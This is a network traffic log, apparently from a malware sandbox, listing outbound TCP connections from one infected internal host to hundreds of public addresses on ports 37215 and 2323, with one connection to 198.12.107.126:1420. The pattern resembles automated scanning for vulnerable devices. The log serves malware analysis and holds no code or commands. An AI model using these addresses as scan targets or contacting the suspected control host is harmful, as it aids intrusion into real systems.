Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.96.22.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.22.53.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.168.50.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.141.233.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.225.45.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.119.54.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.172.224.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.124.247.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.155.187.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.60.212.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.92.201.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.166.104.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.241.174.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.15.87.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.108.202.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.84.4.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.36.128.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.243.145.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.58.247.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.232.160.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.150.29.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.196.236.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.214.246.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.104.63.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.75.91.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.37.66.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.103.118.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.247.161.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.45.220.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.33.212.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.77.71.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.207.157.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.243.86.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.91.194.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.41.117.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.191.169.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.173.225.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.115.237.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.133.111.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.63.150.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.5.68.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.113.208.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.223.202.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.213.232.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.110.17.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.171.200.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.227.71.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.196.158.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.169.60.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.185.108.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.44.49.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.215.113.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.178.239.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.167.119.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.219.54.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.3.48.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.212.41.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.255.139.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.128.115.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.109.25.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.179.102.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.99.132.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.249.165.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.140.164.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.168.9.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.152.224.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.205.43.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.217.236.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.134.105.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.2.153.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.39.6.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.175.61.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.157.12.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.94.176.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.235.77.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.186.137.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.123.127.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.240.71.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.228.90.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.53.21.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.194.179.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.176.137.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.111.151.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.225.184.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.140.100.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.71.26.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.128.41.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.96.186.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.119.204.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.231.114.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.94.202.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.89.44.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.113.3.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.166.153.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.46.172.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.23.31.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.42.46.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.188.32.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.32.205.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.83.106.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.123.141.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.200.83.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.115.36.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.130.157.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.192.26.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.84.145.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.157.47.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.80.160.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.87.90.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.250.49.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.178.168.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.229.82.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.115.194.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.13.51.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.246.11.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.103.70.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.42.12.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.96.28.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.79.219.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.108.222.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.146.22.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.93.253.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.49.4.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.202.164.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.57.104.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.112.208.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.107.110.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.28.67.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.0.34.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.79.172.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.114.86.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.145.11.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.74.140.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.184.74.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.190.181.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.126.229.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.125.53.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.174.116.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.170.248.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.177.73.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.142.252.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.47.51.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.184.97.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.5.49.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.148.144.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.218.169.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.93.81.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.52.232.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.119.143.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.78.47.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.202.58.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.43.75.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.145.65.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.184.178.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.198.37.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.44.73.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.250.175.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.93.162.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.183.147.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.48.243.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.6.112.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.15.128.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.91.174.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.25.203.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.222.152.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.87.111.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.22.215.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.235.238.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.236.40.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.243.21.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.171.153.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.176.133.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.162.5.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.69.174.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.104.149.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.125.25.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.199.35.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.230.202.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.150.130.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.146.240.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.1.229.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.188.147.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.85.85.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.32.204.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.83.175.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.150.221.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.124.81.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.192.146.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.111.147.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.233.183.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.60.55.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.102.32.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.75.160.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.50.191.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.225.159.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.29.180.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.12.51.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.115.99.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.197.121.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.97.217.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.150.203.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.16.111.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.49.95.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.217.193.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.133.52.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.183.238.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.83.18.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.168.133.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.157.224.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.34.2.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.179.95.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.111.25.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.253.99.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.200.38.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.187.56.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.70.203.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.42.215.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.133.119.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.119.11.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.135.217.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.61.187.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.180.219.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.216.154.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.36.139.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.134.108.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.78.137.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.61.150.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.41.15.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.199.170.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.1.130.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.138.185.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.2.6.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.235.35.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.78.117.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:32964 -> 198.12.107.126:1420
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.34.10.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.127.3.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.8.84.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.32.37.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.20.42.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.1.170.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.4.214.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.59.102.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.164.89.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.94.148.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.119.241.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.193.178.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.187.250.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.150.62.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.76.146.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.31.200.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.183.140.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.58.59.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.37.255.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.142.139.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.14.7.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.183.241.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.232.188.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.206.10.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 5.200.49.243:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 221.217.18.21:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 157.68.158.168:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 117.130.118.135:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 166.114.195.163:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 108.23.39.191:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 62.55.74.20:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 154.2.246.20:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 85.78.74.194:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 44.72.215.161:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 48.227.176.2:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 39.106.100.76:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 59.182.137.248:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 93.85.226.130:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 32.238.67.83:2323
Source: global traffic	TCP traffic: 192.168.2.14:4833 -> 158.41.200.150:2323
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.40.3.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.248.28.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.127.50.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.142.215.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.137.164.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.45.199.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.84.192.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.65.91.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.134.34.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.176.82.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.109.102.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.85.225.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.249.92.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.135.132.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.54.126.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.72.3.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.141.230.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.165.72.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.40.123.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.77.153.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.2.41.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.164.165.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.100.5.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.38.234.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.21.13.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.190.186.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.152.90.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.5.108.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.170.13.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.89.208.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.253.90.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.177.65.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.182.162.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.255.213.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.43.201.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.246.202.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.66.179.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.77.222.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.29.237.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.182.138.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.28.217.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.101.148.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.119.90.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.16.184.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.0.95.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.17.27.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.36.63.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.100.168.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.155.34.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.240.206.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.182.169.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.212.204.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.46.10.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.218.32.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.239.71.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.238.143.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.42.189.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.153.80.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.229.196.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.194.22.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.70.149.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.14.148.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.221.43.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.183.87.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.145.22.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.209.207.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.251.248.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.255.13.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.10.248.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.91.204.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.207.53.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.220.209.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.101.46.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.248.58.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.232.228.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.0.164.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.15.49.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.220.57.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.172.66.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.5.88.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.172.4.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.157.136.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.191.244.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.12.2.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.198.220.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.136.215.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.226.153.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.211.49.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.130.46.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.30.235.187:37215
